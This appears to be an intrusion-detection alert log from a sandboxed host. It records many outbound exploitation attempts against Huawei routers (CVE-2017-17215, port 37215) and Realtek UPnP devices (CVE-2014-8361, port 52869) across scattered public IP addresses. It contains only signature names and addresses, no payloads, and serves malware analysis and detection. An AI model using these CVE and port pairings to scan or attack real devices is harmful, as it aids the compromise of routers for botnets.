07/20/24-23:01:27.650037	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48746	37215	192.168.2.23	41.203.181.85
07/20/24-23:01:27.650643	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40256	37215	192.168.2.23	157.71.17.129
07/20/24-23:01:51.879276	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48450	52869	192.168.2.23	105.221.97.172
07/20/24-23:01:52.006906	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50982	52869	192.168.2.23	31.246.229.175
07/20/24-23:02:13.454278	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53486	52869	192.168.2.23	219.135.178.135
07/20/24-23:01:20.593640	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57606	52869	192.168.2.23	136.56.196.147
07/20/24-23:01:45.182071	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41506	52869	192.168.2.23	43.128.21.230
07/20/24-23:01:43.199406	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53044	52869	192.168.2.23	192.54.139.100
07/20/24-23:01:44.054567	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53286	52869	192.168.2.23	63.75.166.170
07/20/24-23:01:24.885895	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59874	37215	192.168.2.23	157.209.58.117
07/20/24-23:01:34.046616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53134	37215	192.168.2.23	109.114.93.203
07/20/24-23:01:43.905912	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36034	52869	192.168.2.23	110.15.34.17
07/20/24-23:01:03.235405	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58548	52869	192.168.2.23	37.189.124.248
07/20/24-23:01:03.242934	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46470	52869	192.168.2.23	64.86.139.164
07/20/24-23:01:43.165438	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51560	52869	192.168.2.23	48.218.79.196
07/20/24-23:02:53.715694	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50214	52869	192.168.2.23	207.46.6.6
07/20/24-23:01:44.859405	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55328	52869	192.168.2.23	75.163.230.218
07/20/24-23:01:44.142024	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58070	52869	192.168.2.23	156.254.5.127
07/20/24-23:01:02.320024	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57946	52869	192.168.2.23	216.170.33.89
07/20/24-23:02:07.942303	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48530	52869	192.168.2.23	139.93.41.17
07/20/24-23:01:08.555687	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47658	52869	192.168.2.23	109.80.210.12
07/20/24-23:01:43.994464	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39712	52869	192.168.2.23	188.26.26.188
07/20/24-23:01:24.904906	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41624	37215	192.168.2.23	119.175.95.208
07/20/24-23:01:50.863888	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52352	52869	192.168.2.23	131.254.60.151
07/20/24-23:01:44.052569	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35926	52869	192.168.2.23	108.48.65.201
07/20/24-23:01:44.945909	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38854	52869	192.168.2.23	86.24.154.203
07/20/24-23:01:47.359862	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36196	52869	192.168.2.23	221.195.227.25
07/20/24-23:01:02.729047	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49722	52869	192.168.2.23	132.182.11.252
07/20/24-23:01:13.994729	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50988	52869	192.168.2.23	154.103.167.31
07/20/24-23:01:42.485253	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54546	52869	192.168.2.23	194.5.145.232
07/20/24-23:01:08.555688	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59662	52869	192.168.2.23	41.215.81.142
07/20/24-23:01:14.090830	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51692	37215	192.168.2.23	197.222.148.4
07/20/24-23:01:45.214052	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49210	52869	192.168.2.23	52.121.181.216
07/20/24-23:01:26.719998	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56050	52869	192.168.2.23	179.142.123.85
07/20/24-23:01:01.897212	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53882	52869	192.168.2.23	136.74.174.143
07/20/24-23:01:41.228794	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33084	52869	192.168.2.23	42.245.92.167
07/20/24-23:01:53.132473	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42802	52869	192.168.2.23	66.150.226.120
07/20/24-23:01:04.049279	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49198	37215	192.168.2.23	41.138.190.176
07/20/24-23:01:49.537827	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59110	52869	192.168.2.23	182.29.32.245
07/20/24-23:01:11.817297	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43468	37215	192.168.2.23	157.114.226.119
07/20/24-23:02:00.113044	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47818	52869	192.168.2.23	104.83.225.175
07/20/24-23:01:07.062666	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38446	37215	192.168.2.23	197.129.190.37
07/20/24-23:01:43.874054	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35300	52869	192.168.2.23	12.215.198.66
07/20/24-23:01:44.175702	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57266	52869	192.168.2.23	179.77.1.115
07/20/24-23:01:51.400635	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35330	52869	192.168.2.23	196.21.217.254
07/20/24-23:01:43.567356	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39516	52869	192.168.2.23	187.122.130.75
07/20/24-23:01:13.157651	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43672	52869	192.168.2.23	217.255.100.151
07/20/24-23:01:07.114267	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55126	37215	192.168.2.23	157.54.178.208
07/20/24-23:01:42.062724	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59740	52869	192.168.2.23	86.18.150.91
07/20/24-23:01:31.975513	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37012	37215	192.168.2.23	170.28.87.249
07/20/24-23:01:34.043863	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36224	37215	192.168.2.23	41.75.68.27
07/20/24-23:01:41.290518	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39402	52869	192.168.2.23	53.176.94.191
07/20/24-23:02:01.645032	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33712	52869	192.168.2.23	13.93.47.50
07/20/24-23:01:50.807258	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32990	52869	192.168.2.23	212.5.145.192
07/20/24-23:01:55.423260	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32990	52869	192.168.2.23	37.133.189.92
07/20/24-23:01:27.650870	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53870	37215	192.168.2.23	41.14.54.254
07/20/24-23:01:57.313050	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52776	52869	192.168.2.23	181.200.167.6
07/20/24-23:02:11.630112	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37112	52869	192.168.2.23	8.215.93.59
07/20/24-23:01:26.607132	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46434	52869	192.168.2.23	2.17.25.163
07/20/24-23:01:47.275716	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54548	52869	192.168.2.23	35.223.49.101
07/20/24-23:01:05.049337	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56952	52869	192.168.2.23	5.53.123.92
07/20/24-23:01:31.982801	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46168	37215	192.168.2.23	41.129.91.74
07/20/24-23:00:57.222164	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36788	37215	192.168.2.23	69.74.218.35
07/20/24-23:01:52.582295	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37508	52869	192.168.2.23	140.201.238.135
07/20/24-23:01:11.639230	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41434	37215	192.168.2.23	99.12.166.177
07/20/24-23:01:21.943544	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52986	37215	192.168.2.23	60.142.88.137
07/20/24-23:02:01.357047	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34792	52869	192.168.2.23	164.226.47.144
07/20/24-23:02:04.091867	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36946	52869	192.168.2.23	153.43.82.157
07/20/24-23:01:57.082339	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36074	52869	192.168.2.23	177.72.81.243
07/20/24-23:01:02.742663	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60010	52869	192.168.2.23	196.57.233.80
07/20/24-23:01:20.096752	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45326	37215	192.168.2.23	157.140.56.8
07/20/24-23:01:31.982801	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48970	37215	192.168.2.23	157.51.246.221
07/20/24-23:01:43.078618	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43602	52869	192.168.2.23	64.107.44.177
07/20/24-23:01:02.093903	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37616	52869	192.168.2.23	137.195.128.162
07/20/24-23:00:59.192052	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44056	37215	192.168.2.23	158.165.91.44
07/20/24-23:01:12.806024	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47288	52869	192.168.2.23	98.89.247.140
07/20/24-23:01:45.414030	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56814	52869	192.168.2.23	53.132.125.29
07/20/24-23:01:06.996055	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41248	37215	192.168.2.23	41.231.52.21
07/20/24-23:01:06.996056	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59582	37215	192.168.2.23	157.57.251.26
07/20/24-23:01:54.979156	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48088	52869	192.168.2.23	70.60.237.131
07/20/24-23:01:46.159872	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47696	52869	192.168.2.23	208.122.170.150
07/20/24-23:02:05.506482	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59958	52869	192.168.2.23	62.219.153.144
07/20/24-23:01:07.066373	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40944	37215	192.168.2.23	41.137.223.0
07/20/24-23:01:45.119426	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53402	52869	192.168.2.23	93.186.61.171
07/20/24-23:01:20.600303	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51466	52869	192.168.2.23	154.103.167.31
07/20/24-23:01:49.836373	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33954	52869	192.168.2.23	44.152.141.175
07/20/24-23:01:11.630543	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43640	37215	192.168.2.23	41.206.100.188
07/20/24-23:01:34.050672	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45042	37215	192.168.2.23	197.31.86.74
07/20/24-23:01:43.906353	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49662	52869	192.168.2.23	205.59.131.231
07/20/24-23:00:59.203960	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39668	37215	192.168.2.23	157.53.103.29
07/20/24-23:02:06.553447	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59228	52869	192.168.2.23	199.27.212.72
07/20/24-23:01:45.484487	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51746	52869	192.168.2.23	182.81.116.37
07/20/24-23:01:14.387649	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33180	52869	192.168.2.23	52.164.165.154
07/20/24-23:01:43.998794	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55406	52869	192.168.2.23	39.170.42.160
07/20/24-23:01:49.567841	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46500	52869	192.168.2.23	180.71.140.26
07/20/24-23:01:04.049279	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58100	37215	192.168.2.23	114.96.82.28
07/20/24-23:01:48.369883	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53018	52869	192.168.2.23	202.109.173.165
07/20/24-23:01:42.656154	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60622	52869	192.168.2.23	148.6.1.136
07/20/24-23:00:57.221504	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52232	37215	192.168.2.23	197.155.27.254
07/20/24-23:01:47.693711	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37946	52869	192.168.2.23	38.115.164.104
07/20/24-23:01:26.222978	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38392	52869	192.168.2.23	9.241.118.240
07/20/24-23:01:41.266946	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42504	52869	192.168.2.23	190.248.52.121
07/20/24-23:01:47.108019	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58110	52869	192.168.2.23	93.255.151.238
07/20/24-23:01:03.299761	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60246	52869	192.168.2.23	40.55.203.85
07/20/24-23:01:44.831438	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51672	52869	192.168.2.23	60.88.74.46
07/20/24-23:01:43.028316	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60440	52869	192.168.2.23	124.217.174.35
07/20/24-23:01:44.099658	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49536	52869	192.168.2.23	90.126.99.183
07/20/24-23:00:59.154067	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50026	37215	192.168.2.23	197.213.172.133
07/20/24-23:01:07.005156	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41344	37215	192.168.2.23	177.72.160.248
07/20/24-23:01:26.111043	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37016	52869	192.168.2.23	152.161.99.53
07/20/24-23:01:41.148932	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54090	52869	192.168.2.23	123.91.96.233
07/20/24-23:01:47.632780	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53350	52869	192.168.2.23	41.48.241.197
07/20/24-23:01:53.281781	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34146	52869	192.168.2.23	83.238.5.172
07/20/24-23:01:58.042671	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55608	52869	192.168.2.23	54.153.180.221
07/20/24-23:01:04.592707	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60594	52869	192.168.2.23	123.31.253.14
07/20/24-23:01:47.024843	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59990	52869	192.168.2.23	170.93.66.190
07/20/24-23:01:44.868029	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43854	52869	192.168.2.23	189.200.249.59
07/20/24-23:01:47.775082	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55078	52869	192.168.2.23	165.18.43.140
07/20/24-23:01:14.113390	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47014	37215	192.168.2.23	41.9.205.142
07/20/24-23:01:34.060991	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43312	37215	192.168.2.23	63.249.161.117
07/20/24-23:01:42.762943	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58862	52869	192.168.2.23	70.82.6.11
07/20/24-23:01:44.706302	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38048	52869	192.168.2.23	107.79.192.172
07/20/24-23:01:24.877747	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50868	37215	192.168.2.23	39.16.82.179
07/20/24-23:01:44.306318	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39932	52869	192.168.2.23	186.139.241.135
07/20/24-23:01:47.943232	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50526	52869	192.168.2.23	108.46.15.204
07/20/24-23:01:31.326982	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44320	52869	192.168.2.23	112.202.108.197
07/20/24-23:01:52.972472	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37332	52869	192.168.2.23	132.77.166.224
07/20/24-23:01:42.474339	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51252	52869	192.168.2.23	41.250.44.72
07/20/24-23:01:47.700893	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38084	52869	192.168.2.23	92.55.62.242
07/20/24-23:01:42.374543	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53570	52869	192.168.2.23	142.105.178.104
07/20/24-23:01:45.414030	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55036	52869	192.168.2.23	118.151.178.3
07/20/24-23:01:43.813001	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60190	52869	192.168.2.23	112.206.146.120
07/20/24-23:02:09.148759	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44778	52869	192.168.2.23	80.223.189.233
07/20/24-23:01:31.333805	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36734	52869	192.168.2.23	168.91.139.254
07/20/24-23:01:42.786028	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38260	52869	192.168.2.23	17.37.38.42
07/20/24-23:01:31.978141	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57454	37215	192.168.2.23	41.151.67.249
07/20/24-23:01:42.213822	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60830	52869	192.168.2.23	137.75.123.123
07/20/24-23:01:41.374418	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38966	52869	192.168.2.23	150.125.163.90
07/20/24-23:01:42.677814	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43900	52869	192.168.2.23	204.114.85.200
07/20/24-23:01:01.886452	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51918	52869	192.168.2.23	105.234.100.63
07/20/24-23:01:08.672944	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55890	52869	192.168.2.23	91.10.179.128
07/20/24-23:01:50.848727	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53540	52869	192.168.2.23	155.90.77.175
07/20/24-23:00:57.221550	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41818	37215	192.168.2.23	207.93.222.13
07/20/24-23:01:02.316096	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49258	52869	192.168.2.23	190.34.49.149
07/20/24-23:01:42.010169	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36492	52869	192.168.2.23	186.68.76.128
07/20/24-23:01:42.399678	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60762	52869	192.168.2.23	40.23.131.130
07/20/24-23:01:41.412156	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48118	52869	192.168.2.23	91.23.23.187
07/20/24-23:01:40.291616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49758	37215	192.168.2.23	89.37.35.33
07/20/24-23:01:31.327808	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44482	52869	192.168.2.23	91.130.242.221
07/20/24-23:01:43.091220	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58794	52869	192.168.2.23	101.52.13.24
07/20/24-23:01:41.286262	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32930	52869	192.168.2.23	181.147.220.98
07/20/24-23:00:57.220954	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34064	37215	192.168.2.23	221.200.167.164
07/20/24-23:01:43.300793	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36788	52869	192.168.2.23	47.244.160.188
07/20/24-23:01:21.928521	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46112	37215	192.168.2.23	65.112.198.241
07/20/24-23:01:41.407067	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56622	52869	192.168.2.23	78.5.59.56
07/20/24-23:01:20.144672	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48740	37215	192.168.2.23	179.166.208.19
07/20/24-23:01:49.750742	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42832	52869	192.168.2.23	67.179.229.220
07/20/24-23:02:05.476791	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49842	52869	192.168.2.23	83.250.249.17
07/20/24-23:01:43.118475	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55698	52869	192.168.2.23	151.149.108.97
07/20/24-23:02:12.248256	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58000	52869	192.168.2.23	46.119.183.52
07/20/24-23:01:06.996056	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59354	37215	192.168.2.23	61.122.127.136
07/20/24-23:01:11.634077	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32922	37215	192.168.2.23	41.74.2.198
07/20/24-23:02:05.506482	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47272	52869	192.168.2.23	75.15.32.116
07/20/24-23:02:20.036130	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43458	52869	192.168.2.23	38.132.172.199
07/20/24-23:00:59.185032	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34626	37215	192.168.2.23	41.160.207.169
07/20/24-23:01:42.745085	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33088	52869	192.168.2.23	192.59.76.250
07/20/24-23:01:08.677189	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37400	52869	192.168.2.23	133.46.67.74
07/20/24-23:01:42.619336	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37076	52869	192.168.2.23	40.50.75.236
